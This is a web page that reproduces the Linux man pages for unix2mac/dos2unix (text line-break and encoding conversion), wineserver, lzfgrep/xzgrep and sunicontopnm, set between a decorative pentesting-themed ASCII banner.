  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

944 - Linux cli command unix2mac

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unix2mac and provides detailed information about the command unix2mac, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unix2mac.

NAME 🖥️ unix2mac 🖥️

DOS/Mac to Unix and vice versa text file format converter

SYNOPSIS

dos2unix [options] [FILE …] [-n INFILE OUTFILE …] unix2dos [options] [FILE …] [-n INFILE OUTFILE …]

DESCRIPTION

The Dos2unix package includes utilities dos2unix and unix2dos to convert plain text files in DOS or Mac format to Unix format and vice versa.

In DOS/Windows text files a line break, also known as newline, is a combination of two characters: a Carriage Return (CR) followed by a Line Feed (LF). In Unix text files a line break is a single character: the Line Feed (LF). In Mac text files, prior to Mac OS X, a line break was single Carriage Return (CR) character. Nowadays Mac OS uses Unix style (LF) line breaks.

Besides line breaks Dos2unix can also convert the encoding of files. A few DOS code pages can be converted to Unix Latin-1. And Windows Unicode (UTF-16) files can be converted to Unix Unicode (UTF-8) files.

Binary files are automatically skipped, unless conversion is forced.

Non-regular files, such as directories and FIFOs, are automatically skipped.

Symbolic links and their targets are by default kept untouched. Symbolic links can optionally be replaced, or the output can be written to the symbolic link target. Writing to a symbolic link target is not supported on Windows.

Dos2unix was modelled after dos2unix under SunOS/Solaris. There is one important difference with the original SunOS/Solaris version. This version does by default in-place conversion (old file mode), while the original SunOS/Solaris version only supports paired conversion (new file mode). See also options -o and -n. Another difference is that the SunOS/Solaris version uses by default iso mode conversion while this version uses by default ascii mode conversion.

OPTIONS


Treat all following options as file names. Use this option if you want to convert files whose names start with a dash. For instance to convert a file named “-foo”, you can use this command: dos2unix – -foo Or in new file mode: dos2unix -n – -foo out.txt

–allow-chown
Allow file ownership change in old file mode. When this option is used, the conversion will not be aborted when the user and/or group ownership of the original file can’t be preserved in old file mode. Conversion will continue and the converted file will get the same new ownership as if it was converted in new file mode. See also options -o and -n. This option is only available if dos2unix has support for preserving the user and group ownership of files.

-ascii
Default conversion mode. See also section CONVERSION MODES.

-iso
Conversion between DOS and ISO-8859-1 character set. See also section CONVERSION MODES.

-1252
Use Windows code page 1252 (Western European).

-437
Use DOS code page 437 (US). This is the default code page used for ISO conversion.

-850
Use DOS code page 850 (Western European).

-860
Use DOS code page 860 (Portuguese).

-863
Use DOS code page 863 (French Canadian).

-865
Use DOS code page 865 (Nordic).

-7
Convert 8 bit characters to 7 bit space.

-b, –keep-bom
Keep Byte Order Mark (BOM). When the input file has a BOM, write a BOM in the output file. This is the default behavior when converting to DOS line breaks. See also option -r.

-c, –convmode CONVMODE
Set conversion mode. Where CONVMODE is one of: ascii, 7bit, iso, mac with ascii being the default.

-D, –display-enc ENCODING
Set encoding of displayed text. Where ENCODING is one of: ansi, unicode, unicodebom, utf8, utf8bom with ansi being the default. This option is only available in dos2unix for Windows with Unicode file name support. This option has no effect on the actual file names read and written, only on how they are displayed. There are several methods for displaying text in a Windows console based on the encoding of the text. They all have their own advantages and disadvantages.

ansi
Dos2unix’s default method is to use ANSI encoded text. The advantage is that it is backwards compatible. It works with raster and TrueType fonts. In some regions you may need to change the active DOS OEM code page to the Windows system ANSI code page using the chcp command, because dos2unix uses the Windows system code page. The disadvantage of ansi is that international file names with characters not inside the system default code page are not displayed properly. You will see a question mark, or a wrong symbol instead. When you don’t work with foreign file names this method is OK.

unicode, unicodebom
The advantage of unicode (the Windows name for UTF-16) encoding is that text is usually properly displayed. There is no need to change the active code page. You may need to set the console’s font to a TrueType font to have international characters displayed properly. When a character is not included in the TrueType font you usually see a small square, sometimes with a question mark in it. When you use the ConEmu console all text is displayed properly, because ConEmu automatically selects a good font. The disadvantage of unicode is that it is not compatible with ASCII. The output is not easy to handle when you redirect it to another program. When method unicodebom is used the Unicode text will be preceded with a BOM (Byte Order Mark). A BOM is required for correct redirection or piping in PowerShell.

utf8, utf8bom
The advantage of utf8 is that it is compatible with ASCII. You need to set the console’s font to a TrueType font. With a TrueType font the text is displayed similar as with the unicode encoding. The disadvantage is that when you use the default raster font all non-ASCII characters are displayed wrong. Not only unicode file names, but also translated messages become unreadable. On Windows configured for an East-Asian region you may see a lot of flickering of the console when the messages are displayed. In a ConEmu console the utf8 encoding method works well. When method utf8bom is used the UTF-8 text will be preceded with a BOM (Byte Order Mark). A BOM is required for correct redirection or piping in PowerShell.

The default encoding can be changed with environment variable DOS2UNIX_DISPLAY_ENC by setting it to unicode, unicodebom, utf8, or utf8bom.

-e, –add-eol
Add a line break to the last line if there isn’t one. This works for every conversion. A file converted from DOS to Unix format may lack a line break on the last line. There are text editors that write text files without a line break on the last line. Some Unix programs have problems processing these files, because the POSIX standard defines that every line in a text file must end with a terminating newline character. For instance concatenating files may not give the expected result.

-f, –force
Force conversion of binary files.

-gb, –gb18030
On Windows UTF-16 files are by default converted to UTF-8, regardless of the locale setting. Use this option to convert UTF-16 files to GB18030. This option is only available on Windows. See also section GB18030.

-h, –help
Display help and exit.

-i[FLAGS], –info[=FLAGS] FILE …
Display file information. No conversion is done. The following information is printed, in this order: number of DOS line breaks, number of Unix line breaks, number of Mac line breaks, byte order mark, text or binary, file name. Example output: 6 0 0 no_bom text dos.txt 0 6 0 no_bom text unix.txt 0 0 6 no_bom text mac.txt 6 6 6 no_bom text mixed.txt 50 0 0 UTF-16LE text utf16le.txt 0 50 0 no_bom text utf8unix.txt 50 0 0 UTF-8 text utf8dos.txt 2 418 219 no_bom binary dos2unix.exe Note that sometimes a binary file can be mistaken for a text file. See also option -s. If in addition option -e or --add-eol is used also the type of the line break of the last line is printed, or noeol if there is none. Example output: 6 0 0 no_bom text dos dos.txt 0 6 0 no_bom text unix unix.txt 0 0 6 no_bom text mac mac.txt 1 0 0 no_bom text noeol noeol_dos.txt Optionally extra flags can be set to change the output. One or more flags can be added.

  1. Print the file information lines followed by a null character instead of a newline character. This enables correct interpretation of file names with spaces or quotes when flag c is used. Use this flag in combination with xargs (1) option -0 or --null.

  2. Print number of DOS line breaks.

  3. Print number of Unix line breaks.

  4. Print number of Mac line breaks.

  5. Print the byte order mark.

  6. Print if file is text or binary.

  7. Print the type of the line break of the last line, or noeol if there is none.

  8. Print only the files that would be converted. With the c flag dos2unix will print only the files that contain DOS line breaks, unix2dos will print only file names that have Unix line breaks. If in addition option -e or --add-eol is used also the files that lack a line break on the last line will be printed.

  9. Print a header.

  10. Show file names without path.

Examples: Show information for all *.txt files: dos2unix -i *.txt Show only the number of DOS line breaks and Unix line breaks: dos2unix -idu *.txt Show only the byte order mark: dos2unix –info=b *.txt List the files that have DOS line breaks: dos2unix -ic *.txt List the files that have Unix line breaks: unix2dos -ic *.txt List the files that have DOS line breaks or lack a line break on the last line: dos2unix -e -ic *.txt Convert only files that have DOS line breaks and leave the other files untouched: dos2unix -ic0 *.txt | xargs -0 dos2unix Find text files that have DOS line breaks: find -name *.txt -print0 | xargs -0 dos2unix -ic

-k, –keepdate
Keep the date stamp of output file same as input file.

-L, –license
Display program’s license.

-l, –newline
Add additional newline. dos2unix: Only DOS line breaks are changed to two Unix line breaks. In Mac mode only Mac line breaks are changed to two Unix line breaks. unix2dos: Only Unix line breaks are changed to two DOS line breaks. In Mac mode Unix line breaks are changed to two Mac line breaks.

-m, –add-bom
Write a Byte Order Mark (BOM) in the output file. By default an UTF-8 BOM is written. When the input file is UTF-16, and the option -u is used, an UTF-16 BOM will be written. Never use this option when the output encoding is other than UTF-8, UTF-16, or GB18030. See also section UNICODE.

-n, –newfile INFILE OUTFILE …
New file mode. Convert file INFILE and write output to file OUTFILE. File names must be given in pairs and wildcard names should not be used or you will lose your files. The person who starts the conversion in new file (paired) mode will be the owner of the converted file. The read/write permissions of the new file will be the permissions of the original file minus the umask (1) of the person who runs the conversion.

–no-allow-chown
Don’t allow file ownership change in old file mode (default). Abort conversion when the user and/or group ownership of the original file can’t be preserved in old file mode. See also options -o and -n. This option is only available if dos2unix has support for preserving the user and group ownership of files.

–no-add-eol
Do not add a line break to the last line if there isn’t one.

-O, –to-stdout
Write to standard output, like a Unix filter. Use option -o to go back to old file (in-place) mode. Combined with option -e files can be properly concatenated. No merged last and first lines, and no Unicode byte order marks in the middle of the concatenated file. Example: dos2unix -e -O file1.txt file2.txt > output.txt

-o, –oldfile FILE …
Old file mode. Convert file FILE and overwrite output to it. The program defaults to run in this mode. Wildcard names may be used. In old file (in-place) mode the converted file gets the same owner, group, and read/write permissions as the original file. Also when the file is converted by another user who has write permissions on the file (e.g. user root). The conversion will be aborted when it is not possible to preserve the original values. Change of owner could mean that the original owner is not able to read the file any more. Change of group could be a security risk, the file could be made readable for persons for whom it is not intended. Preservation of owner, group, and read/write permissions is only supported on Unix. To check if dos2unix has support for preserving the user and group ownership of files type dos2unix -V. Conversion is always done via a temporary file. When an error occurs halfway the conversion, the temporary file is deleted and the original file stays intact. When the conversion is successful, the original file is replaced with the temporary file. You may have write permission on the original file, but no permission to put the same user and/or group ownership properties on the temporary file as the original file has. This means you are not able to preserve the user and/or group ownership of the original file. In this case you can use option --allow-chown to continue with the conversion: dos2unix –allow-chown foo.txt Another option is to use new file mode: dos2unix -n foo.txt foo.txt The advantage of the --allow-chown option is that you can use wildcards, and the ownership properties will be preserved when possible.

-q, –quiet
Quiet mode. Suppress all warnings and messages. The return value is zero. Except when wrong command-line options are used.

-r, –remove-bom
Remove Byte Order Mark (BOM). Do not write a BOM in the output file. This is the default behavior when converting to Unix line breaks. See also option -b.

-s, –safe
Skip binary files (default). The skipping of binary files is done to avoid accidental mistakes. Be aware that the detection of binary files is not 100% foolproof. Input files are scanned for binary symbols which are typically not found in text files. It is possible that a binary file contains only normal text characters. Such a binary file will mistakenly be seen as a text file.

-u, –keep-utf16
Keep the original UTF-16 encoding of the input file. The output file will be written in the same UTF-16 encoding, little or big endian, as the input file. This prevents transformation to UTF-8. An UTF-16 BOM will be written accordingly. This option can be disabled with the -ascii option.

-ul, –assume-utf16le
Assume that the input file format is UTF-16LE. When there is a Byte Order Mark in the input file the BOM has priority over this option. When you made a wrong assumption (the input file was not in UTF-16LE format) and the conversion succeeded, you will get an UTF-8 output file with wrong text. You can undo the wrong conversion with iconv (1) by converting the UTF-8 output file back to UTF-16LE. This will bring back the original file. The assumption of UTF-16LE works as a conversion mode. By switching to the default ascii mode the UTF-16LE assumption is turned off.

-ub, –assume-utf16be
Assume that the input file format is UTF-16BE. This option works the same as option -ul.

-v, –verbose
Display verbose messages. Extra information is displayed about Byte Order Marks and the amount of converted line breaks.

-F, –follow-symlink
Follow symbolic links and convert the targets.

-R, –replace-symlink
Replace symbolic links with converted files (original target files remain unchanged).

-S, –skip-symlink
Keep symbolic links and targets unchanged (default).

-V, –version
Display version information and exit.

MAC MODE

By default line breaks are converted from DOS to Unix and vice versa. Mac line breaks are not converted.

In Mac mode line breaks are converted from Mac to Unix and vice versa. DOS line breaks are not changed.

To run in Mac mode use the command-line option -c mac or use the commands mac2unix or unix2mac.

CONVERSION MODES

ascii
This is the default conversion mode. This mode is for converting ASCII and ASCII-compatible encoded files, like UTF-8. Enabling ascii mode disables 7bit and iso mode. If dos2unix has UTF-16 support, UTF-16 encoded files are converted to the current locale character encoding on POSIX systems and to UTF-8 on Windows. Enabling ascii mode disables the option to keep UTF-16 encoding (-u) and the options to assume UTF-16 input (-ul and -ub). To see if dos2unix has UTF-16 support type dos2unix -V. See also section UNICODE.

7bit
In this mode all 8 bit non-ASCII characters (with values from 128 to 255) are converted to a 7 bit space.

iso
Characters are converted between a DOS character set (code page) and ISO character set ISO-8859-1 (Latin-1) on Unix. DOS characters without ISO-8859-1 equivalent, for which conversion is not possible, are converted to a dot. The same counts for ISO-8859-1 characters without DOS counterpart. When only option -iso is used dos2unix will try to determine the active code page. When this is not possible dos2unix will use default code page CP437, which is mainly used in the USA. To force a specific code page use options -437 (US), -850 (Western European), -860 (Portuguese), -863 (French Canadian), or -865 (Nordic). Windows code page CP1252 (Western European) is also supported with option -1252. For other code pages use dos2unix in combination with iconv (1). Iconv can convert between a long list of character encodings. Never use ISO conversion on Unicode text files. It will corrupt UTF-8 encoded files. Some examples: Convert from DOS default code page to Unix Latin-1: dos2unix -iso -n in.txt out.txt Convert from DOS CP850 to Unix Latin-1: dos2unix -850 -n in.txt out.txt Convert from Windows CP1252 to Unix Latin-1: dos2unix -1252 -n in.txt out.txt Convert from Windows CP1252 to Unix UTF-8 (Unicode): iconv -f CP1252 -t UTF-8 in.txt | dos2unix > out.txt Convert from Unix Latin-1 to DOS default code page: unix2dos -iso -n in.txt out.txt Convert from Unix Latin-1 to DOS CP850: unix2dos -850 -n in.txt out.txt Convert from Unix Latin-1 to Windows CP1252: unix2dos -1252 -n in.txt out.txt Convert from Unix UTF-8 (Unicode) to Windows CP1252: unix2dos < in.txt | iconv -f UTF-8 -t CP1252 > out.txt See also <http://czyborra.com/charsets/codepages.html> and <http://czyborra.com/charsets/iso8859.html>.

UNICODE

Encodings

There exist different Unicode encodings. On Unix and Linux Unicode files are typically encoded in UTF-8 encoding. On Windows Unicode text files can be encoded in UTF-8, UTF-16, or UTF-16 big endian, but are mostly encoded in UTF-16 format.

Conversion

Unicode text files can have DOS, Unix or Mac line breaks, like ASCII text files.

All versions of dos2unix and unix2dos can convert UTF-8 encoded files, because UTF-8 was designed for backward compatibility with ASCII.

Dos2unix and unix2dos with Unicode UTF-16 support, can read little and big endian UTF-16 encoded text files. To see if dos2unix was built with UTF-16 support type dos2unix -V.

On Unix/Linux UTF-16 encoded files are converted to the locale character encoding. Use the locale (1) command to find out what the locale character encoding is. When conversion is not possible a conversion error will occur and the file will be skipped.

On Windows UTF-16 files are by default converted to UTF-8. UTF-8 formatted text files are well supported on both Windows and Unix/Linux.

UTF-16 and UTF-8 encoding are fully compatible, there will no text be lost in the conversion. When an UTF-16 to UTF-8 conversion error occurs, for instance when the UTF-16 input file contains an error, the file will be skipped.

When option -u is used, the output file will be written in the same UTF-16 encoding as the input file. Option -u prevents conversion to UTF-8.

Dos2unix and unix2dos have no option to convert UTF-8 files to UTF-16.

ISO and 7-bit mode conversion do not work on UTF-16 files.

Byte Order Mark

On Windows Unicode text files typically have a Byte Order Mark (BOM), because many Windows programs (including Notepad) add BOMs by default. See also <https://en.wikipedia.org/wiki/Byte_order_mark>.

On Unix Unicode files typically don’t have a BOM. It is assumed that text files are encoded in the locale character encoding.

Dos2unix can only detect if a file is in UTF-16 format if the file has a BOM. When an UTF-16 file doesn’t have a BOM, dos2unix will see the file as a binary file.

Use option -ul or -ub to convert an UTF-16 file without BOM.

Dos2unix writes by default no BOM in the output file. With option -b Dos2unix writes a BOM when the input file has a BOM.

Unix2dos writes by default a BOM in the output file when the input file has a BOM. Use option -r to remove the BOM.

Dos2unix and unix2dos write always a BOM when option -m is used.

Unicode file names on Windows

Dos2unix has optional support for reading and writing Unicode file names in the Windows Command Prompt. That means that dos2unix can open files that have characters in the name that are not part of the default system ANSI code page. To see if dos2unix for Windows was built with Unicode file name support type dos2unix -V.

There are some issues with displaying Unicode file names in a Windows console. See option -D, --display-enc. The file names may be displayed wrongly in the console, but the files will be written with the correct name.

Unicode examples

Convert from Windows UTF-16 (with BOM) to Unix UTF-8:

dos2unix -n in.txt out.txt

Convert from Windows UTF-16LE (without BOM) to Unix UTF-8:

dos2unix -ul -n in.txt out.txt

Convert from Unix UTF-8 to Windows UTF-8 with BOM:

unix2dos -m -n in.txt out.txt

Convert from Unix UTF-8 to Windows UTF-16:

unix2dos < in.txt | iconv -f UTF-8 -t UTF-16 > out.txt

GB18030

GB18030 is a Chinese government standard. A mandatory subset of the GB18030 standard is officially required for all software products sold in China. See also <https://en.wikipedia.org/wiki/GB_18030>.

GB18030 is fully compatible with Unicode, and can be considered an unicode transformation format. Like UTF-8, GB18030 is compatible with ASCII. GB18030 is also compatible with Windows code page 936, also known as GBK.

On Unix/Linux UTF-16 files are converted to GB18030 when the locale encoding is set to GB18030. Note that this will only work if the locale is supported by the system. Use command locale -a to get the list of supported locales.

On Windows you need to use option -gb to convert UTF-16 files to GB18030.

GB18030 encoded files can have a Byte Order Mark, like Unicode files.

EXAMPLES

Read input from ‘stdin’ and write output to ‘stdout’:

dos2unix < a.txt cat a.txt | dos2unix

Convert and replace a.txt. Convert and replace b.txt:

dos2unix a.txt b.txt dos2unix -o a.txt b.txt

Convert and replace a.txt in ascii conversion mode:

dos2unix a.txt

Convert and replace a.txt in ascii conversion mode, convert and replace b.txt in 7bit conversion mode:

dos2unix a.txt -c 7bit b.txt dos2unix -c ascii a.txt -c 7bit b.txt dos2unix -ascii a.txt -7 b.txt

Convert a.txt from Mac to Unix format:

dos2unix -c mac a.txt mac2unix a.txt

Convert a.txt from Unix to Mac format:

unix2dos -c mac a.txt unix2mac a.txt

Convert and replace a.txt while keeping original date stamp:

dos2unix -k a.txt dos2unix -k -o a.txt

Convert a.txt and write to e.txt:

dos2unix -n a.txt e.txt

Convert a.txt and write to e.txt, keep date stamp of e.txt same as a.txt:

dos2unix -k -n a.txt e.txt

Convert and replace a.txt, convert b.txt and write to e.txt:

dos2unix a.txt -n b.txt e.txt dos2unix -o a.txt -n b.txt e.txt

Convert c.txt and write to e.txt, convert and replace a.txt, convert and replace b.txt, convert d.txt and write to f.txt:

dos2unix -n c.txt e.txt -o a.txt b.txt -n d.txt f.txt

RECURSIVE CONVERSION

In a Unix shell the find (1) and xargs (1) commands can be used to run dos2unix recursively over all text files in a directory tree. For instance to convert all .txt files in the directory tree under the current directory type:

find . -name *.txt -print0 |xargs -0 dos2unix

The find (1) option -print0 and corresponding xargs (1) option -0 are needed when there are files with spaces or quotes in the name. Otherwise these options can be omitted. Another option is to use find (1) with the -exec option:

find . -name *.txt -exec dos2unix {} \

In a Windows Command Prompt the following command can be used:

for /R %G in (*.txt) do dos2unix “%G”

PowerShell users can use the following command in Windows PowerShell:

get-childitem -path . -filter *.txt -recurse | foreach-object {dos2unix $_.Fullname}

LOCALIZATION

LANG
The primary language is selected with the environment variable LANG. The LANG variable consists out of several parts. The first part is in small letters the language code. The second is optional and is the country code in capital letters, preceded with an underscore. There is also an optional third part: character encoding, preceded with a dot. A few examples for POSIX standard type shells: export LANG=nl Dutch export LANG=nl_NL Dutch, The Netherlands export LANG=nl_BE Dutch, Belgium export LANG=es_ES Spanish, Spain export LANG=es_MX Spanish, Mexico export LANG=en_US.iso88591 English, USA, Latin-1 encoding export LANG=en_GB.UTF-8 English, UK, UTF-8 encoding For a complete list of language and country codes see the gettext manual: <https://www.gnu.org/software/gettext/manual/html_node/Usual-Language-Codes.html> On Unix systems you can use the command locale (1) to get locale specific information.

LANGUAGE
With the LANGUAGE environment variable you can specify a priority list of languages, separated by colons. Dos2unix gives preference to LANGUAGE over LANG. For instance, first Dutch and then German: LANGUAGE=nl:de. You have to first enable localization, by setting LANG (or LC_ALL) to a value other than “C”, before you can use a language priority list through the LANGUAGE variable. See also the gettext manual: <https://www.gnu.org/software/gettext/manual/html_node/The-LANGUAGE-variable.html> If you select a language which is not available you will get the standard English messages.

DOS2UNIX_LOCALEDIR
With the environment variable DOS2UNIX_LOCALEDIR the LOCALEDIR set during compilation can be overruled. LOCALEDIR is used to find the language files. The GNU default value is /usr/local/share/locale. Option –version will display the LOCALEDIR that is used. Example (POSIX shell): export DOS2UNIX_LOCALEDIR=$HOME/share/locale

RETURN VALUE

On success, zero is returned. When a system error occurs the last system error will be returned. For other errors 1 is returned.

The return value is always zero in quiet mode, except when wrong command-line options are used.

STANDARDS

<https://en.wikipedia.org/wiki/Text_file>

<https://en.wikipedia.org/wiki/Carriage_return>

<https://en.wikipedia.org/wiki/Newline>

<https://en.wikipedia.org/wiki/Unicode>

AUTHORS

Benjamin Lin - <[email protected]>, Bernd Johannes Wuebben (mac2unix mode) - <[email protected]>, Christian Wurll (add extra newline) - <[email protected]>, Erwin Waterlander - <[email protected]> (maintainer)

Project page: <https://waterlan.home.xs4all.nl/dos2unix.html>

SourceForge page: <https://sourceforge.net/projects/dos2unix/>

SEE ALSO

file (1) find (1) iconv (1) locale (1) xargs (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

945 - Linux cli command wineserver-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wineserver-stable and provides detailed information about the command wineserver-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wineserver-stable.

NAME 🖥️ wineserver-stable 🖥️

the Wine server

SYNOPSIS

wineserver [options]

DESCRIPTION

wineserver is a daemon process that provides to Wine roughly the same services that the Windows kernel provides on Windows.

wineserver is normally launched automatically when starting wine(1), so you shouldn’t have to worry about it. In some cases however, it can be useful to start wineserver explicitly with different options, as explained below.

OPTIONS

-d[n], –debug[**=**n]
Set the debug level to n. 0 means no debugging information, 1 is the normal level, and 2 is for extra verbose debugging. If n is not specified, the default is 1. The debug output will be sent to stderr. wine(1) will automatically enable normal level debugging when starting wineserver if the +server option is set in the WINEDEBUG variable.

-f, –foreground
Make the server remain in the foreground for easier debugging, for instance when running it under a debugger.

-h, –help
Display a help message.

-k[n], –kill[**=**n]
Kill the currently running wineserver, optionally by sending signal n. If no signal is specified, sends a SIGINT first and then a SIGKILL. The instance of wineserver that is killed is selected based on the WINEPREFIX environment variable.

-p[n], –persistent[**=**n]
Specify the wineserver persistence delay, i.e. the amount of time that the server will keep running when all client processes have terminated. This avoids the cost of shutting down and starting again when programs are launched in quick succession. The timeout n is in seconds, the default value is 0 seconds. If n is not specified, the server stays around forever.

-v, –version
Display version information and exit.

-w, –wait
Wait until the currently running wineserver terminates.

ENVIRONMENT

WINEPREFIX
If set, the content of this variable is taken as the name of the directory where wineserver stores its data (the default is $HOME/.wine). All wine processes using the same wineserver (i.e.: same user) share certain things like registry, shared memory and kernel objects. By setting WINEPREFIX to different values for different Wine processes, it is possible to run a number of truly independent Wine sessions.

FILES

~/.wine
Directory containing user specific data managed by wine.

**/tmp/.wine-**uid
Directory containing the server Unix socket and the lock file. These files are created in a subdirectory generated from the WINEPREFIX directory device and inode numbers.

AUTHORS

The original author of wineserver is Alexandre Julliard. Many other people have contributed new features and bug fixes. For a complete list, see the git commit logs.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

wineserver is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

946 - Linux cli command lzfgrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzfgrep and provides detailed information about the command lzfgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzfgrep.

NAME 🖥️ lzfgrep 🖥️

search possibly-compressed files for patterns

SYNOPSIS

xzgrep [option…] [pattern_list] [file…]
xzegrep
xzfgrep
lzgrep
lzegrep
lzfgrep

DESCRIPTION

xzgrep invokes grep(1) on uncompressed contents of files. The formats of the files are determined from the filename suffixes. Any file with a suffix supported by xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) will be decompressed; all other files are assumed to be uncompressed.

If no files are specified or file is - then standard input is read. When reading from standard input, only files supported by xz(1) are decompressed. Other files are assumed to be in uncompressed form already.

Most options of grep(1) are supported. However, the following options are not supported:

-r, –recursive

-R, –dereference-recursive

-d, **–directories=**action

-Z, –null

-z, –null-data

**–include=**glob

**–exclude=**glob

**–exclude-from=**file

**–exclude-dir=**glob

xzegrep is an alias for xzgrep -E. xzfgrep is an alias for xzgrep -F.

The commands lzgrep, lzegrep, and lzfgrep are provided for backward compatibility with LZMA Utils.

EXIT STATUS

0
At least one match was found from at least one of the input files. No errors occurred.

1
No matches were found from any of the input files. No errors occurred.

>1
One or more errors occurred. It is unknown if matches were found.

ENVIRONMENT

GREP
If GREP is set to a non-empty value, it is used instead of grep, grep -E, or grep -F.

SEE ALSO

grep(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1), zgrep(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

947 - Linux cli command sunicontopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sunicontopnm and provides detailed information about the command sunicontopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sunicontopnm.

.

NAME 🖥️ sunicontopnm 🖥️

convert a Sun icon into a Netpbm image

SYNOPSIS

sunicontopnm [iconfile]

DESCRIPTION

This program is part of Netpbm(1) .

sunicontopnm reads a Sun icon as input and produces a PBM or PGM image as output.

If the input is of the Depth=8 variety, the output is PGM. Otherwise, it is PBM. Before Netpbm 10.53 (December 2010), the program would not work on a Depth=8 icon.

If the input is color, the output is still PGM (the program can’t do any better because developers haven’t figured out how). If you know the palette used by the Sun icon image, you can use pamlookup to convert the PGM output to the proper color Netpbm image.

OPTIONS

There are no command line options defined specifically for sunicontopnm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

ABOUT SUN ICONS

It seems that this icon format was used in Sunview and was usable in its successor Openlook/Openwindows in Sun 4.1.1, which offered backward compatibility for Sunview, including the icons. Sunview’s desktop was monochrome. OpenWindows had color icons. Sun 4 came with OpenWindows. OpenWindows appears to have been an X-based gui so presumably the icons were mostly XPM files.

So in addition to sunicontopnm, you should try xpmtoppm and xbmtopbm on icons from a Sun Workstation.

SEE ALSO

pbmtosunicon(1) , winicontoppm(1) , xpmtoppm(1) , xbmtopbm(1) , infotopam(1) , pbm(1) pgm(1)

HISTORY

Jef Poskanzer wrote the program under the name icontopbm in 1988.

In October 2010, Prophet Of The Way ([email protected]) converted it to use the more recent “packed PBM” library functions, thus speeding it up

